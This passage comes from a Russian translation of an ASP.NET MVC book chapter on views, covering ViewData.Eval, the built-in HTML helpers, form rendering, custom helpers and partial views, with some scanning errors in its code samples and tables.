•	ViewData["details"]["lastlogin"]["year"]
•	ViewData.Model.Details.LastLogin.Year
•	ViewData.Model.Details["lastlogin.year"]
Это лишь некоторые из многих возможных путей разрешения приведенного выражения. Метод Eval () на самом деле проверяет все возможные комбинации имен элементов словаря и имен свойств, сначала в ViewData как в словаре, а затем в ViewData.Model, останавливая поиск при нахождении значения, отличного от null.
Алгоритм поиска, реализованный в ViewData. Eval
Детали реализации алгоритма поиска Eva 1 () несколько темны и загадочны и обычно при повседневном использовании не имеют особого значения. Если кратко, то это рекурсивный алгоритм, который начинается с интерпретации выражения как одиночного ключа словаря, с последующим удалением по одной лексеме за раз, пока не останется ни одной. Таким образом, на верхнем уровне рекурсии он ищет следующие элементы:
1.	ViewData["details.lastlogin.year”]
2.	ViewData["details.lastlogin"]
3.	ViewData["details"]
Если любой из этих элементов вернет значение, отличное от null, алгоритм вызывает себя рекурсивно, чтобы оценить остальную часть выражения на только что найденном объекте. После каждой попытки использования лексемы в качестве ключа словаря, эта же лексема будет пробоваться как имя свойства (без учета регистра символов) сканируемого объекта. На верхнем уровне рекурсии будет также предприниматься попытка использовать каждую лексему как имя свойства в ViewData.Model, и если при этом обнаруживается значение, алгоритм вызовет себя рекурсивно для вычисления оставшейся части выражения на этом объекте.
Детально разбираться в порядке функционирования этого алгоритма вовсе не обязательно, поскольку на практике весьма маловероятно, что будут обнаружены два разных значения при разных интерпретациях одного и того же выражения (например, вряд ли будут одновременно существовать элементы ViewData [ "а" ] ["Ь.с"] и ViewData [ "а .b" ] [ "с" ]). Важно понять, что алгоритм проверяет все возможные интерпретации выражения, отдавая приоритет элементам словаря в ViewData перед свойствами ViewData.Model.
Если вы озабочены производительностью этого алгоритма, то имейте в виду, что обычно выражение содержит относительно немного лексем, разделенных точками, поэтому будет всего несколько возможных интерпретаций, а поиск в словаре обходится
324 Часть II. ASP.NET MVC во всех деталях
очень дешево. Вдобавок метод Eval () должен выполнять некоторую рефлексию для обнаружения свойств, имена которых соответствуют лексемам в выражении, но затраты на это незначительны по сравнению со стоимостью обработки всего запроса. На практике почти наверняка не возникнет никаких проблем.
На заметку! Метод Eval() ищет только элементы словаря и свойства. Он не может вызывать методы (так что не пытайтесь применять что-то вроде ViewData.Eval ("someitem. GetSomethingO ")) и не умеет извлекать значения из массивов по числовому индексу (поэтому не получится использовать и код наподобие ViewData.Eval ("mynumbers [5] ")).
Использование ViewData. Eval для упрощения встроенных выражений
С помощью метода Eval () некоторые встроенные выражения можно записать в более читабельном виде. Например, следующее выражение:
<%= ViewData["Name"] ?? Model.Name %>
можно упростить до такого вида:
<%= ViewData.Eval("Name") %>
Если хотите, чтобы ViewData.Eval () форматировал свой вывод в каком-то определенном порядке, можете передать второй параметр типа string по имени format. Это поместит ViewData. Eval () в оболочку string. Format (), так что результат будет встроен на место любой лексемы {0} параметра format. Например, с помощью этого прием, код
<% if(ViewData.ContainsKey("details")) { %>
Last logged in:
<%= ((UserDetails)ViewData["details"]).LastLogin.ToString("МММ dd, yyyy") %>
можно упростить до следующего:
<%= ViewData. Eval ("details .LastLogin", "Last logged in: {0:MMMdd, yyyy}") %>
Очень скоро будет показано, как встроенные в MVC Framework вспомогательные методы HTML вызывают ViewData. Eval () для автоматического заполнения элементов управления, упрощая их использование в распространенных сценариях.
Использование вспомогательных методов HTML
Несмотря на то что представления MVC обеспечивают очень тонкий и низкоуровневый контроль над HTML-разметкой, было бы утомительно вновь и вновь вводить повторяющиеся фрагменты этой разметки. Вот почему MVC Framework предлагает широкий диапазон вспомогательных методов HTML, которые визуализируют часто используемые фрагменты разметки с помощью более короткого и аккуратного синтаксиса, поддерживаемого средством IntelliSense.
Например, вместо набора кода
<input name="comment" id="comment" type="text"
value="<%= Html.Encode(ViewData.Eval("comment")) %>" />
можно ввести его сокращенный эквивалент:
<%= Html.TextBox("comment") %>
Глава 10. Представления 325
Эти методы называются вспомогательными потому, что они действительно оказывают помощь. Это не элементы управления в том смысле, в каком это понимается в WebForms; они представляют собой просто сокращенный способ генерации HTML-дескрипторов.
Представления и частичные представления имеют свойство по имени Html (типа System. Web .Mvc. HtmlHelper для слабо типизированных и System. Web.Mvc . HtmlHelper<T> для строго типизированных представлений), которое является начальной точкой для доступа к этим вспомогательным методам. Несколько вспомогательных методов HTML естественным образом реализованы в классе HtmlHelper, но большинство из них — это на самом деле расширяющие методы, которые находятся в System.Web .Mvc .Html и расширяют HtmlHelper. Файл web. config в ASP.NET MVC по умолчанию импортирует пространство имен через узел <namespace>, поэтому для доступа к вспомогательным методам в шаблоне представления не потребуется делать ничего специального. Просто наберите <%= Html. и увидите все доступные опции.
Совет. Разработчики платформы ASP.NET MVC решили реализовать все вспомогательные методы
HTML в виде расширяющих методов в отдельном пространстве имен, так что при желании их можно заменить альтернативным набором. Создав собственную библиотеку расширяющих методов HtmlHelper, возможно, с API-интерфейсом, совпадающим с встроенным, можно будет исключить System.Web.Mvc.Html из web.config и импортировать взамен собственное пространство имен. Шаблоны представлений изменять не придется; они просто переключатся на использование специальных вспомогательных методов.
Встроенные вспомогательные методы MVC Farmework
Давайте предпримем краткий экскурс по всем встроенным вспомогательным методам HTML. Следует отметить, что большинство из них имеют по нескольку перегрузок, соответствующих визуализации различных атрибутов HTML-дескрипторов; некоторые методы насчитывают свыше десяти перегрузок. Возможных комбинаций настолько много, что перечислить их все трудно. Вместо этого для каждой группы вспомогательных методов HTML будут приведены характерные примеры, а также описание их основных вариаций.
Визуализация элементов управления вводом
Первый набор вспомогательных методов генерирует HTML-код знакомого набора элементов управления вводом, включающего текстовые поля, флажки и т.п. (см. табл. 10.2).
Таблица 10.2. Вспомогательные методы HTML для визуализации элементов управления вводом
Описание	Пример
Флажок	Вызов: Html. CheckBox ("myCheckbox", false) Вывод: <input id="myCheckbox" name="myCheckbox" type="checkbox" value="true" /> <input name="myCheckbox" type="hidden" value="false" />
Скрытое поле	Вызов: Html. Hidden ("myHidden", "val") Вывод: <input id="myHidden" name="myHidden" type="hidden" value="val" />
Переключатель	Вызов: Html.RadioButton ("myRadiobutton", "val", true) Вывод: <input checked="checked" id= "myRadiobutton" name="myRadiobutton" type="radio" value="val" />
326 Часть II. ASP.NET MVC во всех деталях
Окончание табл. 10.2
Описание	Пример
Поле ввода пароля	Вызов: Html. Password ("myPassword", "val") Вывод: <input id="myPassword" name="myPassword" type="password" value="val" />
Текстовая область	Вызов: Html.TextArea ("myTextarea", "val", 5, 20, null) Вывод: <textarea cols="20" id="myTextarea" name="myTextarea" rows="5">val</textarea>
Текстовое поле	Вызов: Html.TextBox("myTextbox", "val") Вывод: <input id="myTextbox" name="myTextbox" type="text" value="val" />
На заметку! Обратите внимание, что вспомогательный метод генерации кода флажка (Html. CheckBox ()) визуализирует два элемента управления. Первым является сам флажок, как и следовало ожидать, а вторым — скрытый элемент управления вводом с тем же именем. Это решает проблему, состоящую в том, что для неотмеченного флажка браузер не отправляет значение. Наличие скрытого элемента управления вводом означает, что, когда флажок неотмечен, MVC Framework получит значение скрытого поля (false).
Получения значений элементами управления вводом
Каждый из этих элементов управления пытается заполнить себя, выполняя поиск значений в следующих местах, перечисленных в порядке их приоритетов.
1. ViewData.Modelstate["controlName"].Value.RawValue.
2. Параметр value, переданный вспомогательному методу HTML. Если вызвана его перегрузка без параметра value, то ViewData.Eval ("имяЭлемента").
ModelState — это временное хранилище, используемое ASP.NET MVC для хранения значений, которые пользователь пытался вводить, а также ошибок привязки и проверки достоверности. Об этом подробно рассказывается в главе 11. Пока просто знайте, что Modelstate находится в начале списка, потому его значения переопределят любые значения, установленные явно. Это означает, что вспомогательному методу можно передать любое явное значение в параметре value, которое станет значением по умолчанию или исходным, но когда представление повторно визуализируется после неудавшейся проверки достоверности, вспомогательный метод сохранит любое значение, введенное пользователем, отдавая ему предпочтение перед значением по умолчанию2. Описанный механизм более подробно рассматривается в следующей главе.
Все вспомогательные методы HTML предлагают перегрузку, которая не требует передачи параметра value. При вызове такой перегрузки элемент управления вводом попытается получить значение из ViewData. Например, приведенный ниже вызов
<%= Html.TextBox("UserName") %>
эквивалентен следующему вызову:
<%= Html.TextBox("UserName", ViewData.Eval("UserName")) %>
2 Если быть точным, то метод Html. Password () ведет себя иначе, чем другие вспомогательные методы: в соответствие с проектным решением он не восстанавливает никакого предыдущего значения из Modelstate. Это сделано для поддержки типичных экранов входа, где после сбоя регистрации поле пароля должно быть сброшено, чтобы пользователь мог попыта ться заново ввести правильный пароль.
Глава 10. Представления 327
Это означает, что вспомогательный метод извлечет начальное значение из ViewData ["UserName"], а в случае отсутствия там отличного от null значения он попытается обратиться к ViewData.Model. UserName.
Добавление к дескриптору произвольных атрибутов
Все вспомогательные методы HTML, перечисленные в табл. 10.2. позволяют визуализировать произвольную коллекцию дополнительных атрибутов дескрипторов, передаваемых в параметре по имени htmlAttriutes, например:
<%= Html.TextBox("mytext", "val", new { someAttribute = "someval" }) %>
Результирующий HTML-дескритор выглядит следующим образом:
<input id="mytext" name="mytext" someAttribute="someval" type="text" value="val" />
Как показано в этом примере, htmlAttributes может быть анонимно типизированным объектом (или любым произвольным объектом) — он рассматривается как коллекция элементов “тип/значение" с использованием рефлексии для выбора имен свойств и их значений.
Совет. Компилятор C# не разрешает использовать в качестве имен свойств зарезервированные слова С#. Поэтому если вы попытаетесь визуализировать произвольный атрибут class, передав new { class = "myCssClass" }, то получите ошибку компиляции (class — это зарезервированное слово С#). Во избежание этой проблемы, предварите любое зарезервированное слово C# символом @ (например, { @class = "myCssClass" }). Это сообщит компилятору о том, что его не следует интерпретировать как ключевое слово. Символ @ отбрасывается во время компиляции (поскольку это лишь подсказка для компилятора), поэтому атрибут будет выглядеть просто как class.
При желании можно передать объект htmlAttributes, реализующий IDictionary< string, ob j ect>, который избавит платформу от необходимости использовать рефлексию. Однако это потребует более сложного синтаксиса:
<%= Html.TextBox("mytext", "val", new Dictionary<string, object> { { "class", "myCssClass" } }) %>
Замечание по поводу кодирования HTML
Наконец, следует отметить, что вспомогательные методы HTML автоматически выполняют HTML-кодирование значений полей, которые они визуализируют. Это очень важно, поскольку в противном случае приложение окажется уязвимым к атакам межсайтовыми сценариями (XSS).
Визуализация ссылок и URL
Следующий набор вспомогательных методов HTML позволяет визуализировать ссылки HTML и неформатированные URL, используя средство генерации исходящих URL системы маршрутизации (см. табл. 10.3). Вывод этих методов зависит от активной конфигурации маршрутизации.
Во всех случаях, кроме Url.Content () , в routevalues можно передавать произвольную коллекцию дополнительных параметров маршрута. Такой коллекцией может быть RouteValueDictionary или произвольный объект object (обычно анонимно типизованный), в котором будут проверяться свойства и значения.
328 Часть II. ASP.NET MVC во всех деталях
Таблица 10.3. Вспомогательные методы HTML для визуализации ссылок и URL
Описание	Пример
URL относительно приложения	Вызов: Url. Content ("~/my/content.pdf") Вывод: /ту/content .pdf
Ссылка на именованное действие и контроллер	Вызов: Html .ActionLink ("Hi", "About", "Home") Вывод: <a href="/Home/About">Hi</a>
Ссылка на абсолютный URL	Вызов: Html.ActionLink ("Hi", "About", "Home", "https", "www.example.com", "anchor", new{}, null) Вывод: <a href="https://www.example.com/Home/About#anchor"> Hi</a>
Неформатированный URL для действия	Вызов: Url.Action ("About", "Home") Вывод: /Ноте/About
Неформатированный URL для данных маршрута	Вызов: Url.RouteUrl (new { controller = "c", action = "a" }) Вывод: /с/a
Ссылка на произвольные данные маршрута	Вызов: Html.RouteLink("Hi", new { controller = "c", action = "a" }, null) Вывод: <a href="/c/a">Hi</a>
Ссылка на именованный маршрут	ВЫЗОВ: Html. RouteLink ("Hi", "myNamedRoute", new {}) Вывод: <a href="/url/for/named/route">Hi</a>
Средство генерации исходящих URL в MVC Framework либо использует эти значения в самом пути URL, либо добавит их как значения строки запроса, например:
Html.ActionLink("Click me", "MyAction", new {controller = "Another", param = "val"})
В зависимости от конфигурации маршрутизации, этот вызов может визуализировать следующий HTML-дескриптор:
<а href="/Another/MyAction?param=va1">Click me</a>
Более подробную информацию о генерации исходящих URL ищите в главе 8.
Кодирования HTML-разметки и атрибутов
Вспомогательные методы, перечисленные в табл. 10.4, предлагают быстрый способ кодирования текста, в результате которого браузеры перестают его интерпретировать как HTML-разметку. Это важное средство защиты от атак XSS, о которых речь пойдет в главе 13.
Таблица 10.4. Вспомогательные методы HTML для кодирования
Описание	Пример
Кодирование HTML	ВЫЗОВ: Html.Encode ("I 'm <b>\"HTML\"-encoded</b>") ВЫВОД: I 'm &lt;b&gt;&quot;HTML&quot;-encoded&lt;/b&gt;
Минимальное	Вызов:Html .AttributeEn code("I'm <b>\"attribute\"-encoded</b>")
кодирование HTML	Вывод: I'm &lt;b>&quot;attribute&quot;-encoded&lt;/b>
Глава 10. Представления 329
Внимание! Ни Html.Encode (), ни Html.AttributeEncode () не заменяют символ апострофа (') сущностным эквивалентном HTML (&apos;). Это значит, что их вывод нельзя помещать в атрибут HTML-дескриптора, ограниченный апострофами, даже несмотря на то, что это допустимо в HTML. В противном случае введенный пользователем апостроф нарушит HTML-разметку и сделает сайт уязвимым к атакам XSS. Во избежание этой проблемы, при визуализации вводимых пользователем данных в атрибуте HTML-дескриптора всегда заключайте атрибут в двойные кавычки, а не в апострофы.
Обычно то, какой из этих двух вспомогательных методов выбирается, значения не имеет. Как показано в табл. 10.4, метод Html. Encode () кодирует более широкое множество символов (включаяугловые скобки), чем Html .AttributeEncode (), однако в большинстве ситуаций метода Html .AttributeEncode () оказывается вполне достаточно. К тому же Html. AttributeEncode () работает быстрее, хотя заметить разницу сложно.
Визуализация раскрывающихся списков и списков с множественным выбором
В табл. 10.5 перечислены некоторые встроенные вспомогательные методы для визуализации элементов управления форм, содержащих списки данных.
Таблица 10.5. Вспомогательные методы HTML для визуализации элементов управления вводом с множественным выбором
Описание	Пример
Раскрывающийся список	Вызов: Html.DropDownList("myList", new SelectList(new [] {"A", "B"}), "Choose") Вывод: <select id="myList" name="myList"> <option valuer"">Choose</option> <option>A</option> <option>B</option> </select>
Список с множественным выбором	Вызов: Html.ListBox("myList", new MultiSelectList(new [] {"A", "B"})) Вывод: <select id="myList" multiple="multiple" name="myList"> <option>A</option> <option>B</option> </select>
Как видите, оба метода Html. DropDownList () и Html. ListBox () принимают значения от объекта SelectList своего базового класса MultiSelectList. Эти объекты позволяют описывать литеральный массив значений, как показано в табл. 10.5, или извлекать данные из коллекции произвольных объектов. Предположим, например, что имеется класс Region, определенный следующим образом:
public class Region
{
public int RegionlD { get; set; }
public string RegionName { get; set; }
330 Часть II. ASP.NET MVC во всех деталях
Пусть метод действия помещает объект SelectList в ViewData [ "region" ], как показано ниже:
List<Region> regionsData =	new List<Region> {
new Region {	RegionlD =	7,	RegionName	=	"Northern"	),
new Region {	RegionlD =	3,	RegionName	=	"Central" ),
new Region {	RegionlD =	5,	RegionName	=	"Southern"	},
};
ViewData["region"] = new SelectList(regionsData,	//	элементы
"RegionlD",	//	dataValueField
"RegionName",	//	datalextField
3) ;	II	selectedValue
Тогда вызов <%= Html. DropDownList ("region", "Choose") %> визуализирует следующий код (разрывы строк и отступы добавлены для ясности):
<select id="region" name="region">
<option value="">Choose</option>
<option value="7">Northern</option>
coption selected="selected" value="3">Centralc/option>
coption value="5">SouthernC/option>
c/select>
Имейте в виду, что рассматриваемые здесь вспомогательные методы не должны использоваться только потому, что они существуют. Если проще выполнить итерацию по коллекции вручную, генерируя по ходу элементы cselect> и coption>, то так и следует поступать.
Дополнительные вспомогательные методы
из сборки Microsoft. Web. Mvc. dll
В сборке ASP.NET MVC Futures — Microsoft. Web.Mvc . dll — содержится множество других вспомогательных методов HTML, которые в Microsoft не сочли важными или достаточно отшлифованными, чтобы включить в комплект основной поставки MVC Framework, но которые могут быть полезны в ряде ситуаций. Эту сборка доступна для загрузки по адресу www. codeplex. com/aspnet.
Прежде чем можно будет пользоваться этими вспомогательными методами, в проект потребуется добавить ссылку на сборку Microsoft. Web . Mvc. dll, а также изменить файл web. config, чтобы это пространство имен импортировалось во все страницы представлений:
<configuration>
<system.web>
<pages>
<namespaces>
<add namespace="Microsoft.Web.Mvc" />
<!— Остальные элементы не изменяются —>
</namespaces>
</pages>
</system.web>
</configuration>
После этого станут доступными дополнительные вспомогательные методы, которые перечислены в табл. 10.63.
3 В сборке Microsoft.Web.Mvc.dll также содержится вспомогательный метод по имени RadioButtonList (), который должен работать подобно DropDownList (). В таблице этот метод не указан, потому что на момент написания книги он работал некорректно.
Глава 10. Представления 331
Таблица 10.6. Вспомогательные методы HTML из сборки Microsoft.web.Mvc.dll
Описание	Пример
Изображение	Вызов: Html. ActionLink<HomeController> (х => x.AboutO, "Hi") Вывод: <а href="/Home/About" >Hi</a>
Кнопка JavaScript	Вызов: Html .Mailto ("E-mail me", "me@example.com", "Subject") Вывод: <a href="mailto:me@example.com?subject=Subject"> E-mail me</a>
Ссылка в виде лямбда-выражения	Вызов: Html. SubmitButton (" submitl", " Submit now") Вывод: <input id="submitl" name="submitl" type="submit" value="Submit now" />
Ссылка для отправки почтового сообщения	Вызов: Html.Mailto ("E-mail me", "me@example.com", "Subject") Вывод: <a href="mailto:me@example.com?subject=Subject"> E-mail me</a>
Кнопка отправки	Вызов: Html. SubmitButton ("submitl", "Submit now") Вывод: <input id="submitl" name="submitl" type="submit" value="Submit now" />
Изображение отправки	Вызов: Html.Submitlmage("submit2", "~/folder/img.gif") Вывод: <input id="submit2" name="submit2" src="/folder/img.gif" type="image" />
URL в виде лямбда-выражения	Вызов: Html .BuildUrlFromExpression<HomeController> (x => x.About ()) Вывод: /Home/About
Внимание! Вспомогательные методы, генерирующие URL и ссылки в виде лямбда-выражений, Html. Action<T> () и Html. BuildUrlFromExpression<T> (), обсуждались в главах 8 и 9. Там объяснялось, что несмотря на их строгую типизацию, нельзя рассчитывать на их правильную работу в сочетании с определенными механизмами расширения ASP.NET MVC. Именно потому эти вспомогательные методы не включены в основной пакет ASP.NET MVC. В данном случае разумнее использовать вспомогательные методы, которые генерируют URL и ссылки, основанные на обычных строках.
В некоторых случаях использовать эти вспомогательные методы проще, чем писать соответствующий код HTML. Например, альтернативой Html. Image () является следующий код:
<img src="<%= Url.Content("~/folder/img.gif") %>" />
Набирать эту строку не особенно удобно, потому что (во всяком случае, в версии Visual Studio 2008 с SP1) средство IntelliSense для ASPX просто отказывается работать во время ввода атрибута HTML-ескриптора.
Однако вызовы некоторых из этих вспомогательных методов набирать действительно труднее, чем соответствующий код HTML, что не дает оснований для их использования. Например, зачем писать вызов
<%= Html.SubmitButton("someID", "Submit now") %>
если маловероятно, что кнопке отправки понадобится назначать идентификатор. Вместо такого вызова можно просто записать следующий HTML-дескриптор:
<input type="submit" value="Submit now" />
332 Часть II. ASP.NET MVC во всех деталях
Другие вспомогательные методы HTML
Для полноты картины в табл. 10.7 перечислены остальные встроенные вспомогательные методы HTML, которые ранее не упоминались. Они более подробно описаны в других местах книги.
Таблица 10.7. Другие вспомогательные методы HTML
Метод	Примечания
Html.BeginForm()	Визуализирует открывающий и закрывающий дескрипторы <form>. (См. раздел “Визуализация дескрипторов <form>” далее в этой главе.)
Html.RenderAction(), Html. RenderRoute ()	Выполняет независимый внутренний запрос в сборке Microsoft .Web. Mvc .dll, встраивая полученный ответ в вывод текущего запроса. (См. раздел “Использование Html.RenderAction для создания многократно используемых графических элементов с прикладной логикой” далее в этой главе.)
Html.RenderPartial()	Визуализирует частичное представление. (См. раздел “Использование частичных представлений" далее в этой главе.)
Html.ValidationMessage()	Визуализирует сообщение об ошибке проверки достоверности для определенного свойства модели. (См. раздел “Проверка достоверности” в главе 11.)
Html.Validationsummary()	Визуализирует итоговую информацию обо всех ошибках проверки достоверности. (См. раздел “Проверка достоверности” в главе 11.)
Html.AntiForgeryToken()	Пытается блокировать атаки меж-сайтовым запросами (CSRF). (См. раздел “Предупреждение атак CSRF с помощью противоподделочных вспомогательных методов” в главе 13.)
Имеется также ряд вспомогательных методов, связанных с Ajax, например, Ajax. ActionLink (): они рассматриваются в главе 12. В строго типизированных представлениях также могут использоваться обобщенные вспомогательные методы ввода MVC Futures, такие как Html. TextBoxFor<T> (). Однако на момент написания книги они существовали лишь в виде ранних прототипов.
Визуализация дескрипторов <form>
В MVC Framework также предоставляются вспомогательные методы для визуализации дескрипторов <f orm>: Html. BeginForm () и Html. EndForm () . Преимущество их применения (вместо написания дескрипторов <form> вручную) состоит в том, что они генерируют соответствующий атрибут action (т.е. URL, на который будут отправлены данные формы) на основе активной конфигурации маршрутизации и выбранного целевого контроллера и метода действия.
Эти вспомогательные методы HTML слегка отличаются от показанных ранее: они не возвращают string. Вместо этого записывают разметку дескрипторов <form> и </ f orm> непосредственно в поток ответа.
Доступны два способа их использования. Метод Html. EndForm () можно вызвать явно, как показано ниже:
<	% Html.BeginForm("MyAction", "MyController"); %>
. . . элементы формы . . .
<	% Html.EndForm(); %>
Кроме того, метод Html.BeginForm () можно поместить внутрь оператора using:
<	% using(Html.BeginForm("MyAction", "MyController")) { %>
. . . элементы формы . . .
Глава 10. Представления 333
Эти два фрагмента кода производят одинаковый вывод, так что можете использовать тот синтаксис, который больше нравится. При конфигурации маршрутизации по умолчанию вывод будет таким:
<form action="/MyController/MyAction" method="post"> . . . элементы формы . ..
</form>
Если не понятно, как работает второй синтаксис, вот пояснение. Метод Html. BeginForm() возвращает объект I Disposable. Когда он уничтожается (в конце блока using), его метод Dispose () записывает закрывающий дескриптор </form> в поток ответа.
Чтобы указать другие параметры маршрутизации для атрибута action в URL формы, их можно передать в качестве третьего, анонимно типизированного параметра, например:
<% Html.BeginForm("MyAction", "MyController", new { param = "val" }); %>
Этот вызов визуализирует следующий код:
<form action="/MyController/MyAction?param=val" method="post">
На заметку! Если необходимо визуализировать форму с атрибутом action на основе именованного элемента маршрута или произвольного набора данных маршрутизации (например, без специальной интерпретации параметров controller или action), можно воспользоваться методом Html .BeginRouteForm (). Он представляет собой эквивалент вспомогательного метода Html. RouteLink (), генерирующего форму.
Формы, выполняющие обратную отправку тому же самому имени действия
Если опустить имя контроллера или действия в вызове вспомогательного метода, то он сгенерирует форму, которая отправит данные обратно URL текущего запроса. Например:
<% using(Html.BeginForm()) { %> . . . элементы формы . . .
<% } %>
Результат визуализации выглядит следующим образом:
<form action="URL текущего запроса" method="post" > .. . элементы формы . . .
</form>
Использование метода Html. BeginForm<T>
Сборка Microsoft .Web.Mvc.dll содержит обобщенную перегрузку Html. BeginForm<T> (), которая для ссылки на целевое действие позволяет использовать строго типизированное лямбда-выражение. Например, если имеется класс контроллера ProductsController с подходящим методом действия SubmitEditedProduct (string param) , его можно вызвать так:
<% using(Html.BeginForm<ProductsController>(х => х.SubmitEditedProduct("value"))) { Ч> ... элементы формы . . .
<% } %>
На заметку! Для того чтобы приведенный код работал, странице ASPX необходима ссылка на пространство имен, содержащее ProductsController. Добавьте в начало страницы ASPX объявление <%@ Import Namespace="Ваши.Контроллеры.ПространствоИмен" %> (в дополнение к ссылке на сборку Microsoft .Web .Mvc).
334 Часть II. ASP.NET MVC во всех деталях
В результате визуализируется следующий код разметки (на основе конфигурации маршрутизации по умолчанию):
<form action="/Products/SubmitEditedProduct?param=value" method="post" > .. . элементы формы . . .
</form>
Строго типизированный вспомогательный метод Html. BeginForm<T> () подчиняется тем же ограничениям, что и Html.ActionLink<T> () . К тому же имейте в виду, что для того, чтобы сформировать корректное лямбда-выражение, понадобится указать значения для каждого параметра метода, который визуализируется как параметр строки запроса в URL. Но это не всегда имеет смысл: иногда нужно, чтобы параметры метода действия были привязаны к полям формы, а не к параметрам строки запроса. Обходной путь заключается в передаче фиктивного значения null для каждого нежелательного параметра, но и это не будет работать, если параметр имеет тип, не допускающий значение null, скажем, int. Будущая версия языка C# 4.0 должна поддерживать динамические вызовы методов и необязательные параметры, так что можно ожидать появления более очевидного API-интерфейса.
По этим причинам, а также из-за трудоемкости добавления к страницам объявлений <%@ Import %>, рекомендуется по что избегать метода Html. BeginForm<T> () и применять вместо него Html. BeginForm ().
Создание собственных вспомогательных методов HTML
Во встроенных вспомогательных методах нет ничего сложного или мистического. Это просто методы .NET. возвращающие string, так что можете свободно добавлять в приложения собственные вспомогательные методы.
Например, давайте создадим вспомогательный метод, который визуализирует дескрипторы <script> для импорта файлов JavaScript. Создайте новый статический класс по имени MyHelpers (скажем, в файле /Views/MyHelpers. cs):
namespace DemoProject.Views
{
public static class MyHelpers
{
private const string ScriptlncludeFormat = "<script src=\"{0}\"></script>"; public static string IncludeScript(string virtualPath) {
string clientPath = VirtualPathUtility.ToAbsolute(virtualPath); return string.Format(ScriptlncludeFormat, clientPath);
}
}
}
На заметку! Следуя хорошей традиции, этот вспомогательный метод работает с виртуальными путями, т.е. с такими, которые начинаются с ~/ и указываются относительно корня виртуального каталога приложения. Виртуальный путь преобразуется в абсолютный во время выполнения (с помощью метода VirtualPathUtility.ToAbsolute ()), с учетом виртуального каталога, в котором развернуто приложение.
После компиляции новый вспомогательный метод можно использовать в любом представлении, указывая его полностью определенное имя:
<%= DemoProject.Views.MyHelpers.IncludeScript("~/Scripts/SomeScript.js") %>
Глава 10. Представления 335
Этот вызов визуализирует следующий код:
<script src="/Scripts/SomeScript.js"></script>
Если приложение развернуто в виртуальном каталоге, то это будет учтено в соответствующем атрибуте src.
Если нет желания каждый раз писать полностью определенное имя вспомогательного метода каждый раз, можно импортировать его пространство имен двумя способами.
•	Добавить директиву imports начало каждой страницы представления, где используется этот метод (например, <%@ Import Namespace="DemoProject.Views" %>).
•	Импортировать пространство имен на все страницы, добавив новый дочерний узел под узлом system.web/pages/namespaces в файле web. config (например, <add namespace="DemoProject.Views"/>).
В любом случае, вызов метода затем может быть сокращено до следующего:
<%= MyHelpers.IncludeScript("-/Scripts/SomeScript.js”) %>
Присоединение собственного вспомогательного метода к HtmlHelper через расширяющий метод
Возможно, понадобится превратить вспомогательный метод в расширяющий метод типа HtmlHelper, сделав его подобным одному из встроенных вспомогательных методов. Для этого измените сигнатуру метода следующим образом:
public static string IncludeScript(this HtmlHelper helper, string virtualPath)
{
string clientPath = VirtualPathUtility.ToAbsolute(virtualPath);
return string.Format(ScriptlncludeFormat, clientPath);
}
Теперь вспомогательный метод становится членом клуба Html. *, и его можно будет вызывать так:
<%= Html.IncludeScript("-/Scripts/SomeScript.js") %>
Обратите внимание, что расширяющий метод будет доступен только в представлениях, в которые было импортировано пространство имен статического класса с использованием одного из описанных ранее приемов. Формально это ограничение можно обойти, поместив статический класс прямо в пространство имен System .web .Mvc. Html, но это запутает и вас, и других разработчиков, поскольку трудно будет отслеживать, где ваш код, а где код, относящийся к платформе. Не посягайте на чужие пространства имен!
Использование частичных представлений
Нередко возникает потребность многократно использовать фрагмент представления в нескольких местах. Не обращайтесь к технике “копирования и вставки", а выделите его в частичное представление. Частичные представления подобны специальным вспомогательным методам HTML, за исключением того, что они определены с использованием выбранной системы шаблонов представлений (т.е. файлов ASPX или ASCX, а не чистого кода С#) и потому больше подходят, когда планируется повторно использовать более крупные блоки разметки4.
В этом разделе вы узнаете о том, как создаются и используются частичные представления в стандартном механизме WebForms, и ознакомитесь с различными метода-
4 Частичные представления ASP.NET MVC логически эквивалентны тому, что в Ruby in Rails и MonoRail называют “частичными шаблонами”.
336 Часть II. ASP.NET MVC во всех деталях
ми их применения с ViewData и привязками к спискам или массивам данных. Прежде всего, обратите внимание на параллели между частичными представлениями и обычными представлениями.
•	Точно так же, как страница представления является страницей WebForms (т.е. шаблоном ASPX), частичное представление является пользовательским элементом управления WebForms (т.е. шаблоном ASCX).
•	Страница представления компилируется в виде класса, унаследованного от ViewPage (который, в свою очередь, наследуется от UserControl, базового класса для пользовательских элементов управления WebForms). Промежуточные базовые классы добавляют поддержку специфичных для MVC нотаций, таких как ViewData, TempData и вспомогательных методов HTML (Html. *, Url. * и т.п.).
•	Страницу представления можно сделать строго типизированной, наследуя ее от ViewPage<T>. Аналогично, частичное представление тоже можно сделать строго типизированным, унаследовав его OTViewUserControl<T>. В обоих случаях свойства ViewData, Html и Ajax заменяются обобщенно типизированными эквивалентами. При этом свойство Model будет относиться к типу Т.
Создание частичного представления
Для создания нового частичного представления щелкните правой кнопкой мыши на какой-нибудь папке внутри /Views и выберите в контекстном меню пункт AddS>View (Добавить^Представление). В открывшемся окне Add View (Добавить представление) отметьте флажок Create a partial view (.ascx) (Создать частичное представление (.ascx)). В MVC Framework предполагается, что частичные представления будут сохраняться в папке /views/имяКонтроллера или /views/Shared, но в действительности их можно поместить куда угодно и затем ссылаться на них по полному пути.
Например, создайте частичное представление по имени MyPartial внутри /Views/ Shared и затем добавьте к нему некоторую HTML-разметку:
<%@ Control Language="C#" Inherits="System.Web.Mvc.ViewUserControl" %>
<i>Hello from the partial view</i>
Чтобы визуализировать частичное представление, перейдите на любую страницу приложения и вызовите вспомогательный метод Html .RenderPartial (), указав имя частичного представления:
<p>This is the container view</p>
<% Html.RenderPartial("MyPartial") ; %>
<p>Here's the container view again</p>
В результате визуализируется вывод, показанный на рис. 10.2.
Рис. 10.2. Вывод представления, оснащенного частичным представлением
Глава 10. Представления 337
На заметку! Обратите внимание на синтаксис, окружающий вызов Html.RenderPartial (). Этот метод возвращает не string, a void, и отправляет свой вывод непосредственно в поток ответа. При этом вместо вычисления выражения (как в <%= ... %>) фактически выполняется строка кода C# (потому в <% ...; %> присутствует точка с запятой, завершающая строку кода).
Для визуализации частичного представления, которое находится не в /views/ nameOfController или /Views/Shared, понадобится указать виртуальный путь целиком, включая расширение имени файла. Например:
<% Html.RenderPartial("-/Views/Shared/Partials/MyOtherPartial.ascx"); %>
Передача ViewData в частичное представление
